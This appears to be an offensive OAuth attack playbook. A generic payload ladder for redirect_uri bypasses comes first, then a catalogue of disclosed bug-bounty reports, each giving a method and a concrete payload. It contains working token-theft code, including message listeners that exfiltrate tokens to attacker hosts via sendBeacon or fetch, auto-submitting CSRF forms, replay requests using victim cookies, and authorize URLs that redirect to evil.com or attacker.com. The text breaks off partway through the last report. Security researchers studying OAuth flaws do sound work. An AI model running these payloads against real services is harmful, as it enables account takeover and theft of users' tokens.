# Baseline — what does a normal grant look like? Note code-vs-token and the sink.
GET /oauth/authorize?client_id=CLIENT&response_type=code&redirect_uri=https://legit/cb&state=xyz&scope=... HTTP/1.1
Host: TARGET
Find which stage you can bend, then use the matching primitive.
The single richest sink. Validation is almost always weaker than it looks — prefix match, wildcard subdomain, path traversal, or userinfo tricks. Run the ladder and watch where the credential lands.
redirect_uri=https://COLLAB/cb # fully arbitrary host? (#665651)
redirect_uri=https://legitCOLLAB.com/cb # prefix match, no host boundary (#405100)
redirect_uri=https://legit.COLLAB.com/cb # allowed prefix + '.' subdomain (#405100)
redirect_uri=https://COLLAB.legit.tld/cb # attacker-registrable subdomain (#151058,#665651)
redirect_uri=https://legit/cb/../../../evil # path traversal, stays on host (#1861974)
redirect_uri=https://legit/cb%2f%2e%2e%2f # encoded traversal
redirect_uri=https://COLLAB@legit/cb # userinfo @ trick (#108113)
redirect_uri=https://COLLAB%ff@legit/cb # non-ASCII flips authority (#108113)
redirect_uri=/a/../../login?next=//COLLAB # path-only + open redirect (#110293)
If any host you control is accepted, the grant delivers straight to you — implicit flow puts the token right in the fragment:
GET /oauth/authorize?client_id=CLIENT&response_type=token&redirect_uri=https%3A%2F%2FCOLLAB%2Fcb&state=STATE HTTP/1.1
Host: TARGET
# victim authenticates -> #access_token=... lands on COLLAB -> ATO (#665651)
redirect_uri=https://booth.pm/users/auth/pixiv/callback/../../../../ja/items/ATTACKER_PRODUCT
# code delivered to YOUR product page on the trusted host;
# read it from Google Analytics real-time (referrer/query capture) (#1861974)
The IdP often honours more response modes than the client wired up. Flip code→token, or force response_mode=fragment/query to reintroduce a URL sink the app doesn't expect — then read it with any same-origin script-exec or window.name leak.
# Client only handles web_message, but the IdP still honours fragment:
GET /auth/authorize?client_id=CLIENT&redirect_uri=https%3A%2F%2FTARGET&response_type=code+id_token&state=ATTACKER_STATE&response_mode=fragment HTTP/1.1
Host: appleid.apple.com
# TARGET's main-window URL becomes #state&code&access_token -> same-origin XSS/window.name reads it (#1567186)
// Vulnerable success page runs: opener.postMessage({url: location.href /* ?code=.. */}, '*')
var w = window.open('https://TARGET/oauth2/authorize?response_type=code&client_id=CLIENT'
+ '&redirect_uri=https%3A%2F%2FTARGET%2Foauth2%2Fsuccess&state=x'); // #314814
window.addEventListener('message', e => navigator.sendBeacon('https://COLLAB', JSON.stringify(e.data)));
When the relay derives its target/frame from the URL, point it at yourself directly. A requestID starting with window_ selects the opener branch; targetOrigin is unvalidated:
redirect_uri=https://TARGET/auth/response.html?requestID=window_UUID&baseUrl=/&targetOrigin=https://COLLAB
# used on: /oauth/authorize?response_type=token&client_id=CLIENT&redirect_uri=<ENCODED_ABOVE>&prompt=none
# page runs opener.postMessage(token, targetOrigin) -> token to COLLAB (#821896, #826394)
<iframe src="https://TARGET/bridge?consumer_key=KEY&host=https://legit.app"></iframe>
<script>window.addEventListener('message', e => fetch('https://COLLAB/?c=' + encodeURIComponent(e.data)))</script>
<!-- no interaction if the victim already authorized the app (#110467) -->
<!-- .json/.xml suffix routes to a handler that skips the CSRF token (#850022) -->
<form action="https://TARGET/authorization.json" method="POST">
<input name="client_id" value="ATTACKER_CLIENT_ID">
<input name="type" value="web_server">
<input name="redirect_uri" value="https://COLLAB/cb">
</form>
<script>document.forms[0].submit()</script>
The gate ("validate your email", "grant consent") often lives only in the UI while the underlying POST is replayable — send it straight with the victim's cookies/CSRF/state:
POST /oauth/authorize HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: <VICTIM_COOKIES>
authenticity_token=CSRF&client_id=RP_CLIENT&redirect_uri=https%3A%2F%2Frp%2Fcb&state=STATE&response_type=code&scope=
# skips the pre-grant email-verification wall -> code issued (#922456)
Codes must be single-use and short-lived. Replay the same code twice; if both return 200, single-use isn't enforced. Combined with an expiry check that reads the wrong lifetime column, a captured code stays valid for hours.
# exchange the captured code (form-encoded per RFC 6749):
POST /login/oauth/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=CAPTURED&redirect_uri=...&client_id=... # -> token A (200)
# replay the identical request: if it 200s again, single-use isn't enforced
grant_type=authorization_code&code=CAPTURED&redirect_uri=...&client_id=... # -> token B (200) = replayable (#3734676)
# pivot: mint downstream creds in the victim identity
GET /login/oauth/credentials
Authorization: Bearer <BRIDGE_TOKEN>
POST /api/auth/facebook HTTP/1.1
Host: TARGET
Content-Type: application/json
{"fb_token":"<TOKEN_MINTED_FOR_ATTACKER_APP>"}
# server never calls /debug_token to check the audience -> full ATO (#314808, #101977)
GET /auth/gitlab/callback?code=ATTACKER_CODE&state= HTTP/1.1 # state unenforced -> links attacker identity to victim (#104931, #55911, #46485, #225653)
OAuth is a chaining hub — the stolen credential is the pivot, and a second small bug turns "loose validation" into full ATO:
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 62 in this class.
Real-world example
OAuth code/token theft via response_mode switch + sandbox XSS postMessage
◆ Critical
Specimen #1567186 · reddit · awarded · 506 votes · resolved
Program redditSurface webChain response_mode switch -> token in reddit.com fragment ->Tag oauthTag account-takeover
Root cause
Reddit's Sign-in-with-Apple uses response_mode=web_message live, but Apple still honors response_type=code+id_token & response_mode=fragment. Reddit doesn't expect tokens in the URL fragment, and www.redditmedia.com passes the parent window's full URL (incl. fragment) via window.name, letting a same-origin XSS read it.
Method
- Attacker pre-generates a state param from the real Apple flow (to bind the victim's code to attacker)
- Victim page frames www.redditmedia.com sandbox which builds an Apple authorize link with response_type=code+id_token & response_mode=fragment and the attacker state
- Victim completes Apple login; reddit.com main window URL becomes #state&code&access_token
- XSS on redditmedia (same origin as the iframe) reads window.name/current URL and exfiltrates the code
- Attacker replays code via opener.postMessage to sign in as victim
https://appleid.apple.com/auth/authorize?client_id=com.reddit.RedditAppleSSO&redirect_uri=https%3A%2F%2Fwww.reddit.com&response_type=code+id_token&state=<ATTACKER_STATE>&scope=&response_mode=fragment
Insight — When an IdP supports multiple response_modes and the client only wired up web_message, force response_mode=fragment/query to land the token somewhere the client will happily postMessage or leak. Combine with any same-origin script-exec (or a window.name-leaking sandbox) to read the fragment.
Real-world example
OIDC redirect_uri prefix-match validation bypass
◆ Critical
Specimen #384289 · gsa_bbp · none · 14 votes · resolved
Program gsa_bbpSurface webChain redirect_uri bypass -> steal OIDC code/token -> accounTag oauthTag account-takeover
Root cause
The /openid_connect/authorize endpoint validated redirect_uri by matching the beginning of the hostname rather than exact host, so a hostname starting with the allowed host but continuing into an attacker domain (agency.gov.example.com) passed as agency.gov, redirecting the auth code/token to the attacker.
Method
- Observe an SP whose allowed redirect host is agency.gov
- Craft redirect_uri with host agency.gov.<attacker>.com (starts with allowed hostname)
- Send the victim through the authorize flow with this redirect_uri
- Loose prefix validation accepts it; the OIDC token/code is delivered to attacker host -> session compromise
https://login.gov/openid_connect/authorize?client_id=<SP>&redirect_uri=https://agency.gov.attacker.com/cb&response_type=code&scope=openid&state=...
Insight — redirect_uri validation must be an EXACT match on scheme+host+path, not startsWith/contains on the hostname. Test with allowed.com.evil.com, allowed.com@evil.com, allowed.com.evil.com, sub.allowed.com, path traversal, and open-redirect chains on the allowed host.
Real-world example
Social-login ATO: server accepts any app's access_token (audience not verified)
◆ High
Specimen #314808 · reverb · awarded · 409 votes · resolved
Program reverbSurface apiTag oauthTag account-takeover
Root cause
The /api/auth/facebook endpoint takes a Facebook access_token and logs the user in by the email/id it resolves to, without verifying the token was issued for this application (no /debug_token app_id check). Any valid FB token from a different app works.
Method
- Obtain a Facebook access_token from any unrelated app
- POST it to the target's facebook login endpoint
- Server resolves the FB user and issues a session for the matching account
POST /api/auth/facebook HTTP/1.1
Host: reverb.com
{"fb_token":"<ANY_APP_FB_ACCESS_TOKEN>"}
Insight — For any 'login with <provider> token' API, verify server-side audience validation: submit a token minted for a DIFFERENT client_id/app. If it authenticates, it's a mass ATO — provider tokens leak constantly. Same idea applies to Google id_token aud, Apple, etc.
Real-world example
OAuth token exfiltration by chaining redirect_uri wildcard + open redirects
◆ High
Specimen #202781 · uber · awarded · 426 votes · resolved
Program uberSurface webChain FB OAuth wildcard redirect_uri -> next_url open redirect Tag oauthTag account-takeover
Root cause
Facebook OAuth app allowed any redirect_uri matching https://auth.uber.com/login?* . That URL honored a next_url param, and login.uber.com/logout redirected based on the Referer header - chaining these hops walked the OAuth token out to an attacker site.
Method
- Set FB OAuth redirect_uri to https://auth.uber.com/login?next_url=https://login.uber.com/logout
- FB redirects to auth.uber.com which follows next_url to login.uber.com/logout
- logout redirects per Referer to attacker site, delivering the token
redirect_uri = https://auth.uber.com/login?next_url=https://login.uber.com/logout
# FB -> auth.uber.com/login -> login.uber.com/logout -> (Referer) attacker.com#token
Insight — A too-broad OAuth redirect_uri whitelist (prefix/wildcard) is only as safe as every redirect primitive on the allowed origin. Enumerate params like next_url/return_to and Referer-driven redirects on the whitelisted host to bounce the token off-origin.
Real-world example
OAuth callback-locking bypass via path-only callback_url + open redirect
◆ High
Specimen #110293 · x · awarded · 276 votes · resolved
Program xSurface webChain callback-lock bypass -> *.twitter.com open redirect ->Tag oauthTag account-takeover
Root cause
Periscope's Twitter OAuth callback locking only checked the URL scheme, assuming callback_url is a full URI. Supplying just a PATH (e.g. a/../../login?redirect_after_login=...) passes the scheme check, and an open redirect on a *.twitter.com host walks the OAuth token to the attacker.
Method
- Extract embedded consumer_key/secret from the mobile app
- Generate a request token with a path-only callback_url that traverses to an open redirect
- Open redirect (twitter.com/login?redirect_after_login=cards.twitter.com card with attacker fallback URL) sends token to attacker via fragment
- Exchange stolen oauth_token for access_token; auto-authorize makes it interaction-less
callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/<card_id>
# card fallback -> https://attacker.com#&oauth_token=...
Insight — OAuth callback validators that only check scheme/protocol can be defeated with relative/path-only callback values plus a same-site open redirect (ad cards, login redirect params). Token-in-fragment survives cross-host redirects.
Real-world example
OAuth email-verification gate bypass -> ATO on relying parties
◆ High
Specimen #922456 · gitlab · awarded · 257 votes · resolved
Program gitlabSurface oauthChain unverified GitLab email -> replay authorize -> RP trusTag oauthTag account-takeover
Root cause
GitLab required a validated email before completing an OAuth grant, but the /oauth/authorize POST could be replayed directly to skip the gate. The issued token then carries an unverified email that relying parties trust as an identity, folding attacker and victim into one account.
Method
- Seed victim: create Bitbucket/GitHub account with victimEmail, log into the target RP
- In another browser create a GitLab account with the same email, never confirm it
- Start 'Sign in with GitLab' on the RP; hit the 'validate your email' wall
- Replay POST /oauth/authorize directly (with cookies/CSRF/state) to force the grant
- Follow the 302 code to the RP and land in the victim's account
POST /oauth/authorize HTTP/1.1
Host: gitlab.com
Content-Type: application/x-www-form-urlencoded
Cookie: [COOKIES]
utf8=%E2%9C%93&authenticity_token=[CSRF]&client_id=<RP_CLIENT>&redirect_uri=https%3A%2F%2Frp%2Fauth%2Fgitlab%2Fcallback&state=[STATE]&response_type=code&scope=&nonce=
Insight — IdPs that assert an email must guarantee it is verified; RPs that key accounts on email inherit the IdP's verification gap. Test replaying the authorize endpoint to skip pre-grant checks, and pair an unverified-email IdP account with a victim email to take over any RP that merges by email. Also enables access to internal apps gated on @company.com.
Real-world example
Authorization code theft via path traversal in OAuth redirect_uri
◆ High
Specimen #1861974 · pixiv · 2000 · 250 votes · resolved
Program pixivSurface webChain redirect_uri path traversal -> code delivered to attackerTag oauthTag account-takeover
Root cause
redirect_uri validation only prefix-checks the allowlisted callback path, so appending ../../ traverses to any page on the same trusted host; the authorization code is then delivered to an attacker-controlled page which leaks it via Google Analytics referrer/query capture.
Method
- Attacker makes a public product page on the same trusted domain and enables their Google Analytics tracking ID
- Craft an authorize URL with redirect_uri = <allowed_callback>/../../../../<attacker_product_path>
- Victim clicks and completes login; browser is redirected to the attacker product page carrying ?code=
- Attacker reads the code from GA real-time reports
https://oauth.secure.pixiv.net/v2/auth/authorize?client_id=...&redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/<ATTACKER_PRODUCT_ID>&response_type=code&scope=...&state=x
Insight — Test OAuth redirect_uri for path traversal (../), not just open-redirect: if validation only checks a path prefix on an allowed host, you can land the code on any same-host page you control content/analytics on. Any same-host reflected/analytics sink then leaks the code.
Real-world example
OAuth token theft via postMessage targetOrigin control in response handler
◆ High
Specimen #821896 · playstation · 1200 · 177 votes · resolved
Program playstationSurface webChain controlled targetOrigin -> window.opener.postMessage tokeTag oauthTag account-takeover
Root cause
my.playstation.com/auth/response.html parses requestID and targetOrigin from the URL; setting requestID to start with 'window' selects window.opener.postMessage(response, targetOrigin) where targetOrigin is attacker-controlled, so the OAuth token in the URL is posted to the attacker's origin.
Method
- Build the response.html URL with requestID=window_... and targetOrigin=https://attacker
- Set it as redirect_uri (URL-encoded) on the Sony OAuth authorize endpoint with response_type=token&prompt=none
- Host a page that opens this flow; the popup posts the access token to the attacker origin
https://my.playstation.com/auth/response.html?requestID=window_request_<uuid>&baseUrl=/&targetOrigin=https://attacker.tld
# used as redirect_uri on:
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&client_id=<id>&redirect_uri=<ENCODED_ABOVE>&prompt=none
Insight — Audit OAuth 'postMessage bridge' pages: if either the message TARGET (targetOrigin) or the frame TYPE is taken from the URL, you can redirect the token to any origin. Grep the response handler JS for postMessage(*, variableFromUrl).
Real-world example
Access-token smuggling via Referer header through chained open redirects
◆ High
Specimen #835437 · playstation · USD 1000 · 146 votes · resolved
Program playstationSurface webChain loose redirect_uri validation + subdomain open redirect ->Tag oauthTag account-takeover
Root cause
An OAuth response endpoint validates only the origin of redirect_uri, leaving the path/query attacker-controlled; chaining it to a same-parent-domain open redirect places the token-bearing URL in the Referer header sent cross-site.
Method
- Find an auth response endpoint (my.playstation.com/auth/response.html) that only origin-validates the redirect target
- Find an open redirect on an in-scope sibling subdomain (docs.playstation.com ...callback_url=)
- Craft returnRoute so the token-carrying page navigates victim: my.playstation -> docs.playstation open redirect -> attacker
- The Referer of the final hop to attacker.com contains the token/consumer_token from the earlier URL
https://my.playstation.com/auth/response.html?requestID=external_request_ID&baseUrl=/&targetOrigin=https://docs.playstation.com&returnRoute=/consumers/auth/psn_oauth2?callback_url=https://attacker.com
Insight — When redirect_uri is only origin-checked, the tail is yours: chain a subdomain open redirect and read the token out of the Referer header on the cross-site hop. Any secret placed in a URL leaks via Referer on the next navigation unless referrer-policy strips it.
Real-world example
OAuth state parameter used as redirect target -> access-token theft
◆ High
Specimen #206591 · uber · awarded · 142 votes · resolved
Program uberSurface webChain state-as-redirect -> off-site redirect after login -> Tag oauthTag account-takeover
Root cause
For central.uber.com, the OAuth state parameter to login.uber.com carried a redirect location instead of an opaque CSRF token. An attacker poisons state with a central.uber.com path that redirects to a custom domain after login, exfiltrating the account OAuth access token.
Method
- Start the central.uber.com OAuth login and observe state holds a redirect path, not a random token
- Poison state with a central.uber.com path that ultimately redirects to attacker.com
- Victim completes login; the access token is redirected to the attacker
# login.uber.com/authorize?...&state=<central.uber.com path that redirects off-site>
# post-login redirect delivers access token to attacker.com
Insight — The OAuth state parameter must be an opaque anti-CSRF nonce, never a redirect URL. When state (or a return/next field) doubles as a post-login redirect, it becomes an open-redirect token-theft primitive. Always inspect what state actually contains.
Real-world example
Mint OAuth token for a victim by forcing an app 'trusted' via HPP
◆ High
Specimen #1148364 · gitlab · awarded · 135 votes · resolved
Program gitlabSurface oauthChain HPP trusted flag -> auto-consent OAuth app -> CSRF autTag oauthTag account-takeover
Root cause
GitLab group-level OAuth apps could be marked trusted (auto-authorized, admin-only feature) by HTTP-parameter-polluting the doorkeeper_application[trusted] field on the edit request. A trusted app skips the consent screen, defeating the authorization CSRF protection so a victim visiting the authorize link silently grants a code.
Method
- Create a group and an OAuth application with api scope
- Intercept 'Save application' and append doorkeeper_application[trusted]=0&doorkeeper_application[trusted]=1 to force trusted=true
- Send the victim the /login/oauth/authorize link (or embed in img)
- Because the app is trusted, no consent is shown; capture the code and exchange it for the victim's access_token
# in the edit-application POST body, add:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
# then:
GET /login/oauth/authorize?redirect_uri=http://attacker.com&client_id=<ID>&scope=api
POST /login/oauth/access_token code=<CODE>&client_id=<ID>&client_secret=<SECRET>
Insight — Mass-assignment/HPP on privileged boolean flags (trusted, admin, verified, is_confidential) can unlock admin-only behavior. Duplicate-parameter (last-wins) tricks bypass server-side filtering of the field. A 'trusted' OAuth app removes the consent CSRF barrier - a silent token-minting primitive.
Real-world example
Client/server parser differential: ';' as param delimiter to bypass host validation
◆ High
Specimen #126522 · x · awarded · 126 votes · resolved
Program xSurface webChain parser differential -> attacker-controlled transfer host Tag oauthTag account-takeover
Root cause
Digits' server accepts both '&' and ';' as query-param delimiters, but the client JS splits only on '&'. So host=periscope.tv;@attacker.com is one param to the client (a full authority ...;@attacker.com) yet two params to the server (host=periscope.tv), passing server validation while the client sends the token to attacker.com.
Method
- Identify a redirect/host value validated server-side but consumed client-side
- Append ;@attacker.com (or ;host=attacker.com) to the trusted value
- Server validates only the pre-';' portion; client parses the whole string and uses the attacker authority
- OAuth credential data is transferred to attacker.com
https://www.digits.com/login?consumer_key=<KEY>&host=https%3A%2F%2Fwww.periscope.tv;@attacker.com
// server sees host=https://www.periscope.tv ; client authority becomes www.periscope.tv;@attacker.com
Insight — Client and server rarely parse query strings identically. Test ';' as a delimiter, and the userinfo '@' trick (host;@evil / host@evil) to make validation and consumption disagree on the effective host. A general parser-differential class alongside HPP.
Real-world example
OAuth host validation bypass via HTTP Parameter Pollution
◆ High
Specimen #114169 · x · awarded · 108 votes · resolved
Program xSurface webChain HPP host bypass -> OAuth token delivered to attacker origTag oauthTag account-takeover
Root cause
Digits validated the OAuth 'host' param against the app's registered domain, but with duplicate host params the validator checked the FIRST while the transfer step used the LAST. Supplying host=periscope.tv&host=attacker.com passes validation yet delivers the token to attacker.com.
Method
- Take the legitimate login URL with host=<registered domain>
- Append a second host param pointing to attacker.com
- Validation passes on the first host; the credential transfer uses the last host
- Victim's OAuth data is sent to attacker.com
https://www.digits.com/login?consumer_key=<KEY>&host=https%3A%2F%2Fwww.periscope.tv&host=https%3A%2F%2Fattacker.com
// validated: first host ; used: last host
Insight — HTTP Parameter Pollution defeats validators that read a different occurrence of a duplicated param than the consumer does (first-validated / last-used, or vice versa). Always duplicate security-relevant params (host, redirect_uri, amount, role) and observe which copy each stage honors.
Real-world example
OAuth access-token impersonation (missing audience validation)
◆ High
Specimen #739321 · picsart · none · 101 votes · resolved
Program picsartSurface apiChain OAuth audience confusion -> account takeoverTag oauthTag account-takeover
Root cause
App logs a user in using a social OAuth access_token without verifying the token was issued for its own client_id. A token minted for a different app (or a malicious app the same user authorized) is accepted, enabling account takeover.
Method
- Register/control a second app that uses the same IdP (Facebook/Google) as the target
- Get a victim who has authorized both the target and your app with the same social account
- Collect the OAuth access_token issued to your app for that user
- Submit that access_token to the target's social-login endpoint
- Target accepts it and logs you into the victim's account
POST /auth/facebook\n{ "access_token": "<token_issued_to_ATTACKER_app_for_VICTIM>" }\n// accepted because server never calls the provider to confirm token.client_id == TARGET_client_id
Insight — Whenever an app accepts a social/OAuth access_token for login, verify the token's audience/appId matches your own client_id via the provider's debug/token-info API. Test by feeding a token minted for a different client_id.
Real-world example
OAuth token leak via postMessage to window.opener with user-controlled targetOrigin=*
◆ High
Specimen #826394 · playstation · USD 1000 · 73 votes · resolved
Program playstationSurface webChain token theft -> account/resource accessTag oauthTag account-takeover
Root cause
The auth response page derives the postMessage frame type and targetOrigin from attacker-controllable GET params (requestID prefix + targetOrigin); setting requestID to window_* and targetOrigin=* makes it post the access token to window.opener, i.e. the attacker page that opened it.
Method
- window.open the OAuth authorize URL with redirect_uri's requestID set to 'window_...' and targetOrigin=*
- If the victim is already logged in (prompt=none), the token is returned to /auth/response.html
- That page calls window.opener.postMessage(tokenData, '*')
- Attacker's onmessage handler on the opener receives the token
var x = window.open('https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&...&redirect_uri='+encodeURIComponent('https://my.playstation.com/auth/response.html?requestID=window_request_ID&baseUrl=/&targetOrigin=*')+'&prompt=none');
window.onmessage = e => exfil(JSON.stringify(e.data));
Insight — When a postMessage target origin is taken from a URL param (or the frame type decides opener vs parent), an attacker can redirect the token to themselves. Always check that response/relay pages hardcode targetOrigin and validate the opener; treat requestID-style routing params as attacker input.
Real-world example
OAuth code theft via postMessage targetOrigin '*'
◆ High
Specimen #314814 · semrush · awarded · 70 votes · resolved
Program semrushSurface webChain code leak -> token exchange -> victim data access; + cTag oauthTag account-takeover
Root cause
The oauth2/success page posts its location.href (containing the authorization code) to window.opener with targetOrigin '*' and no opener-origin check; any site that window.opens it can read the victim's code and exchange it for tokens.
Method
- Attacker page window.open()s the OAuth authorize URL and registers a message listener
- Victim (logged in) clicks Approve (or via clickjack)
- success page posts {url: location.href with ?code=...} to opener with '*'
- Attacker reads code, POST /oauth2/access_token with public client_id/secret -> access+refresh token
var d=window.open('https://TARGET/oauth2/authorize?response_type=code&client_id=seoquake&redirect_uri=https%3A%2F%2FTARGET%2Foauth2%2Fsuccess&state=...');
window.addEventListener('message',e=>alert(JSON.stringify(e.data)));
// vulnerable success page: opener.postMessage({type:'...:oauth:success',url:location.href},'*')
Insight — Audit OAuth success/redirect pages for opener.postMessage(...,'*'). If the code/token rides in the URL and is broadcast to any opener, window.open the flow from an attacker page and capture the message.
Real-world example
OAuth redirect_uri unvalidated -> access token theft
◆ High
Specimen #665651 · gsa_bbp · 750 · 67 votes · resolved
Program gsa_bbpSurface webChain open redirect on OAuth redirect_uri -> token/code exfiltrTag oauthTag account-takeover
Root cause
Authorization endpoint accepts an arbitrary redirect_uri (and in a subdomain-whitelist variant, any subdomain), delivering the code/token to an attacker-controlled callback.
Method
- Open /oauth/authorize with response_type=token and redirect_uri=https://evil.com/auth/callback
- Victim authenticates with their account
- Token/code is delivered to evil.com in the fragment/query => account takeover
https://login.fr.cloud.gov/oauth/authorize?client_id=CLIENT&response_type=token&redirect_uri=https%3A%2F%2Fevil.com%2Fauth%2Fcallback&state=STATE
Insight — Always fuzz redirect_uri: full arbitrary host, then narrower bypasses (subdomain of a registered host, added path, @ userinfo). response_type=token leaks the token straight into the URL fragment. A too-broad subdomain whitelist still leaks the code if any subdomain is attacker-reachable (e.g. via subdomain takeover).
Real-world example
OAuth authorize CSRF via .json/.xml suffix skipping token check
◆ High
Specimen #850022 · basecamp · awarded · 44 votes · resolved
Program basecampSurface webChain CSRF forced OAuth authorize -> auth code -> access tokTag oauthTag account-takeover
Root cause
The OAuth2 authorization POST enforces authenticity_token only on the bare path; requesting authorization.json (or .xml) skips the check, so a forged form silently authorizes the attacker's app and yields an auth code -> full API access.
Method
- POST to /authorization.json with client_id/redirect_uri and no/empty authenticity_token
- Server issues the auth code to attacker's redirect_uri
- Exchange code+client_secret at /authorization/token for an access token
<form action="https://launchpad.37signals.com/authorization.json" method="POST">
<input name="client_id" value="ATTACKER_CLIENT_ID">
<input name="type" value="web_server">
<input name="redirect_uri" value="ATTACKER_REDIRECT">
<input name="commit" value="">
</form><script>document.forms[0].submit()</script>
Insight — Response-format suffixes (.json/.xml) often route to a handler with different (weaker) CSRF enforcement. Try adding .json/.xml to any protected endpoint. Forced OAuth authorization = attacker gains API access without consent.
Real-world example
OAuth token theft via wildcard redirect_uri + open redirect
◆ High
Specimen #131202 · x · USD 840 · 31 votes · resolved
Program xSurface webChain Open redirect + wildcard redirect_uri + %2523 -> steal acTag oauthTag open-redirect
Root cause
The OAuth app registered a wildcard redirect_uri (http(s)://*.twitter.com/*); an open redirect on an allowed subdomain, plus a double-encoded fragment (%2523 -> %23 -> #), forwarded the access_token in location.hash to an attacker-controlled destination.
Method
- Find an open redirect on an in-scope subdomain (cards.twitter.com/.../yyms -> external)
- Append %2523 so the provider decodes it to # and appends the token as a fragment
- Use this as the OAuth redirect_uri; it matches the *.twitter.com/* wildcard
- Victim (already authorized) clicks once; token lands in the fragment and is read via location.hash
redirect_uri=https://cards.twitter.com/cards/18ce53y6aap/yyms%2523
// attacker page: token = location.hash
Insight — Wildcard/loose redirect_uri + any open redirect on an allowed host = token exfiltration. Chase double/triple URL-encoding of # (%23/%2523) to smuggle the fragment past the redirector.
Real-world example
Unvalidated OAuth redirect parameter leaks auth code -> account takeover
◆ High
Specimen #770548 · 8x8-bounty · none · 18 votes · resolved
Program 8x8-bountySurface webChain open redirect in OAuth -> auth code leak -> admin SSO Tag oauthTag account-takeover
Root cause
The admin app's OAuth flow used a successRedirectUrl parameter that accepted any domain, so the returned authorization code was delivered to an attacker-controlled host, which could then exchange/replay it to log in as the victim.
Method
- Start the admin add-account OAuth (Google) flow
- Set successRedirectUrl to an attacker domain
- Victim completes auth; the code lands on the attacker host
- Attacker uses the leaked code to authenticate as the victim admin
...oauth?...&successRedirectUrl=https://attacker.tld/ # code/token sent to arbitrary domain
Insight — Always test redirect_uri / return / success-url params in OAuth/SSO for open-redirect; if the auth code or token rides that redirect, an unvalidated value is a full account takeover, not just a redirect.
Real-world example
OAuth/OpenID account-linking CSRF -> attacker links their identity to victim
◆ High
Specimen #225653 · weblate · none · 10 votes · resolved
Program weblateSurface webChain account-linking CSRF -> login as victim via attacker's IdTag oauthTag account-takeover
Root cause
The social-login 'add association / complete' callback is not CSRF-protected, so an attacker can replay their own IdP assertion into the victim's session, binding the attacker's third-party account to the victim's app account. Attacker then logs in via that IdP as the victim.
Method
- As attacker, start 'Add new association' with an IdP (Ubuntu One/OpenID) and intercept the /accounts/complete/<provider>/ callback POST that carries the signed assertion.
- Drop the request in your own flow; rebuild it as an auto-submit CSRF form.
- Deliver to a logged-in victim; the attacker's IdP identity is now associated with the victim account.
- Attacker uses 'Login with <IdP>' to access the victim's account.
CSRF form POSTing the captured `openid.*` assertion params to:
https://TARGET/accounts/complete/ubuntu/?janrain_nonce=... (all openid.sig/openid.claimed_id/openid.identity fields as hidden inputs)
Insight — Social-login 'connect account' endpoints are a high-value CSRF target: linking (not just settings) leads straight to ATO. Verify the completion/callback carries and enforces a state/nonce bound to the user's session; if you can replay your own assertion cross-site, it's ATO.
Real-world example
OAuth redirect_uri without scheme concatenated to base host
◆ High
Specimen #48065 · coinbase · awarded · 4 votes · resolved
Program coinbaseSurface webTag oauthTag account-takeover
Root cause
OAuth authorize accepted a redirect_uri lacking an http(s) scheme; the server concatenated it to the base, producing www.coinbase.com<attacker> and redirecting the user (with the auth code) to an attacker-controlled destination.
Method
- Register/craft an OAuth authorize request with redirect_uri missing its scheme (e.g. attacker.tld/code.php)
- Send victim the authorize URL
- Victim is redirected to www.coinbase.com+attacker string / attacker host, leaking the code/token
https://www.coinbase.com/oauth/authorize?response_type=code&client_id=CLIENT&redirect_uri=attacker.tld/code.php&scope=user
Insight — Test OAuth redirect_uri validation with scheme-less values, trailing/leading dots, and prefix tricks; string-concat or prefix-match validation leaks the authorization code.
Real-world example
OAuth redirect_uri bypass via IDN homograph domain
◆ Medium
Specimen #861940 · semrush · awarded · 263 votes · resolved
Program semrushSurface webTag oauthTag account-takeover
Root cause
OAuth redirect_uri validation treated Unicode look-alike domains (Cyrillic e in the host) as the legitimate host, so the authorization code was delivered to an attacker-registered punycode domain.
Method
- Find the OAuth authorize endpoint and its redirect_uri validation
- Craft a homograph of the allowed host using look-alike Unicode chars
- Register the punycode equivalent (xn--...) and use it as redirect_uri
- Victim approves; code/token is sent to attacker domain
https://oauth.semrush.com/oauth2/authorize?response_type=code&client_id=seoquake&redirect_uri=https://oauth.<homograph>.com/oauth2/success
# homograph host == xn--emrush-9jb.com
Insight — redirect_uri allowlists that compare decoded Unicode (not punycode/exact bytes) are bypassable with homograph domains. Test IDN look-alikes against any host-based redirect/CORS/email validation.
Real-world example
Open redirect in OAuth flow leaks authorization code -> token/ATO
◆ High
Specimen #3423013 · line · 1000 · 43 votes · resolved
Program lineSurface webChain open redirect on OAuth host -> auth code sent to attackerTag oauthTag account-takeover
Root cause
An open redirect on an OAuth-participating host let the authorization response (code) be delivered to an attacker-controlled endpoint, because redirect destinations were not restricted to trusted domains within the OAuth 2.0 flow.
Method
- Find an open redirect on a host used inside the OAuth authorize/return flow
- Craft the authorize/return URL so the code is forwarded to the attacker via the redirect
- Victim authenticates; code lands at attacker; exchange for access token
Insight — Chain any open redirect that sits on the OAuth redirect_uri path (or an intermediate return_to) into authorization-code exfiltration. Always test whether the OAuth return/redirect handler will forward the code to an off-host location; a low-sev open redirect becomes account takeover.
Real-world example
OAuth bridge: embedding-origin not validated (postMessage proxy)
◆ Medium
Specimen #110467 · x · awarded · 92 votes · resolved
Program xSurface webChain credential leak -> login to victim account on any Digits-Tag oauthTag account-takeover
Root cause
Digits getLoginStatus uses a hidden /bridge iframe that validates the host param against the app's registered domain but never checks that the PAGE embedding the bridge is that domain; an attacker page embeds the legit bridge URL and receives the OAuth credential via postMessage.
Method
- Take a legit app's bridge URL /bridge?consumer_key=<key>&host=https://legit.app
- Embed it in attacker.com and invoke getLoginStatus
- Bridge AJAX /login_status returns victim OAuth creds, postMessage'd to attacker parent
- No user interaction if victim already authorized the app
<iframe src="https://www.digits.com/bridge?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https://www.periscope.tv"></iframe>
<script>window.addEventListener('message',e=>exfil(e.data))</script>
Insight — For any postMessage/iframe SSO bridge: it may validate a claimed origin PARAMETER but not the real embedding origin. Host the legit bridge URL on your page and listen for the credential message.
Real-world example
OAuth consent screen omits a sensitive scope (UI misrepresentation)
◆ Medium
Specimen #3713965 · github · awarded · 90 votes · resolved
Program githubSurface webTag oauth
Root cause
